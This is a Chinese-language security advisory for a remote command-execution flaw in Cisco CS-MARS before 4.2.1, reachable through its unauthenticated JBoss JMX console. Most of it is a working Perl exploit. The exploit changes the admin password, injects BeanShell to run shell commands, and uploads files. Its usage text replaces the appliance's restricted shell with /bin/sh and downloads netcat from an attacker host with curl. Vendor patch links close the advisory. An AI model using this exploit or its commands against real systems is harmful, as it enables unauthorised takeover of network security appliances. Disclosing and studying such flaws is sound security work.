发布日期：2006-07-19
更新日期：2006-07-20

受影响系统：

Cisco CS-MARS 4.1.5
Cisco CS-MARS 4.1.3
Cisco CS-MARS 4.1.2
Cisco CS-MARS 4.1

不受影响系统：

Cisco CS-MARS 4.2.1

描述：

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BUGTRAQ  ID: 19075

Cisco安全监控、分析和响应系统（CS-MARS）可从各种网络设备接收事件日志，关联并分析接收到的安全问题数据，并报告发现。

CS-MARS安装了JBoss Web应用服务器，服务器处理用户请求时存在漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

未经认证的远程用户可以创建特制的HTTP请求，通过可选的JBoss JMX控制台在CS-MARS设备上以CS-MARS管理员权限执行任意shell命令。

<*来源：Jon Hart （warchild@spoofed.org）
  
  链接：http://marc.theaimsgroup.com/?l=full-disclosure&m=115332589021662&w=2
        http://www.cisco.com/warp/public/707/cisco-sa-20060719-mars.shtml
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use IO::Socket;

my $target = shift(@ARGV) || &usage;
my $attack_type = shift(@ARGV) || &usage;

for ($attack_type) {
   if    (/pass/) { &change_passwd(@ARGV); }
   elsif (/cmd/) { &run_cmd(@ARGV); }
   elsif (/upload/) { &upload(@ARGV); }
   elsif (/[bean|bsh]/) { &run_bsh(@ARGV); }
   else { &usage; }
}

sub change_passwd {
   my $passwd = shift;
   &run_cmd("/opt/janus/release/bin/pnpasswd $passwd");
}

sub encode {
   my $en = shift;
   my $string = "";
   foreach my $char (split(//, $en)) {
      if ($char =~ /([:|\/|(|)|"|'|`| ])/) {
         $string .= sprintf("%%%x", ord($1));
      } else { $string .= $char; }
   }
   return $string;
}

sub jmx_post {
   my $form_data = shift;
   my $ua = LWP::UserAgent->new;
   $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
   my $req = HTTP::Request->new(POST => "http://$target/jmx-console/HtmlAdaptor");
   $req->content_type('application/x-www-form-urlencoded');
   $req->content(&encode($form_data));

   my $res = $ua->request($req);

   return $res->is_success ? 0 : $res->status_line;
}

sub run_bsh {
   my $file = shift;
   my $bsh = "";
   open(BSH, "$file") or die "Couldn't open $file: $!\n";
   print("Sending beanshell from $file: ");
   while (<BSH>) {
      # the bsh must be one long string...
      chomp();
      $bsh .= $_;
   }
  
   printf("%s\n", &send_beanshell($bsh) == 0 ? "Success" : "Failed");
}

sub run_cmd {
   my $cmd = shift;
   my $code = "";
  
   # & in the command needs to be encoded so as to not be confused with the &
   # in the URI
   $cmd =~ s/&/%26/g;
   if ($cmd =~ />|\||&/) {
      # exec() does not handle pipes or redirection well, so do this instead
      $code = 'String sh = "/bin/sh"; String opt = "-c"; String cmd = "'
            . $cmd .
            '"; String[] exec = new String[] { sh, opt, cmd }; Runtime.getRuntime().exec(exec);';
   } else {
      $code = "Runtime.getRuntime().exec(\"$cmd\");";
   }

   print("Running '$cmd' on $target: ");
   printf("%s\n", &send_beanshell($code) == 0 ? "Success" : "Failed!");
}

sub send_beanshell {
   my $code = shift;
   # ensure the name of the bsh job within java has a unique name
   my $name = "cmd" . int(rand(65535)) . $$;
   return &jmx_post("action=invokeOp&name=jboss.scripts:service=BSHDeployer&methodIndex=1&arg0=$code&arg1=$name");
}

sub upload {
   # upload a file.  I was too lazy to use org.jboss.console.manager.DeploymentFileRepository
   my $file = shift;
   my $path = shift;
   my $new_name = shift;
   my $chunk = "";
   my $ret = 0;
   open(FILE, "< $file") or die "Couldn't open $file for reading: $!\n";

   if (!(defined($new_name))) {
      my @path = split(/\//, $file);
      $new_name = $path[$#path];
   }

   print("Uploading $file to $target...\n");
   &run_cmd("touch $path/$new_name");
   while(read(FILE,$chunk,4096)) {
      # encode this file in 4096 byte chunks in a format that is able to be handled by JBoss.
      # There are plenty of ways to do this, but none that were both portable and that didn't make JBoss
      # throw a 500 or otherwise botch the file.  UGLY.
      $chunk = join('', map { sprintf("%03d,", ord("$_")) } split(//, $chunk));
      $ret += &run_cmd("echo -n $chunk | perl -ne 'foreach (split(/,/, \$_)) { print chr(\$_); }' >> $path/$new_name");
   }

   printf("Upload of $file to $target:$path/new_name %s!\n", $ret == 0 ? "succeeded" : "failed");
}


sub usage {
   print <<EOF;
   Cisco MARS (CS-MARS) < 4.2.1 JBoss exploit (CSCse47646) POC by Jon Hart <jhart\@spoofed.org>

   Basic Usage:
      $0 <target> <exploit_type> [<exploit_specific_args] ...]

   Extended Usage:
      Change password:
      $0 <target> pass <password>
      Run shell command:
      $0 <target> cmd <your quoted shell command>
      Run BeanShell code:
      $0 <target> bsh /path/to/file/with/beanshell
      Upload files:
      $0 <target> upload <file to upload> <path on target> [<new name>]

      Fun Stuff:
         Get a real shell:
         $0 <target> cmd "cp /opt/janus/release/bin/pnsh /opt/janus/release/bin/pnsh.bak"
         $0 <target> cmd "rm  /opt/janus/release/bin/pnsh"
         $0 <target> cmd "cp /bin/sh /opt/janus/release/bin/pnsh"
         # now ssh to the target...
         [pnadmin\@pnmars bin]\$ id
         uid=501(pnadmin) gid=501(pnadmin) groups=501(pnadmin)
         [pnadmin\@pnmars bin]\$ uname -a
         Linux pnmars 2.4.9-e.57 #1 Thu Dec 2 20:56:19 EST 2004 i686 unknown
         [pnadmin\@pnmars bin]\$ hostname
         pnmars
        
         Download something:
         $0 <target> cmd "curl http://yourhost/nc -o /tmp/nc"

EOF
exit(1);
}

建议：

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厂商补丁：

Cisco
-----
Cisco已经为此发布了一个安全公告（cisco-sa-20060719-mars）以及相应补丁:
cisco-sa-20060719-mars：Multiple Vulnerabilities in Cisco Security Monitoring, Analysis and Response System (CS-MARS)
链接：http://www.cisco.com/warp/public/707/cisco-sa-20060719-mars.shtml

补丁下载：
http://www.cisco.com/pcgi-bin/tablebuild.pl/cs-mars?psrtdcat20e2

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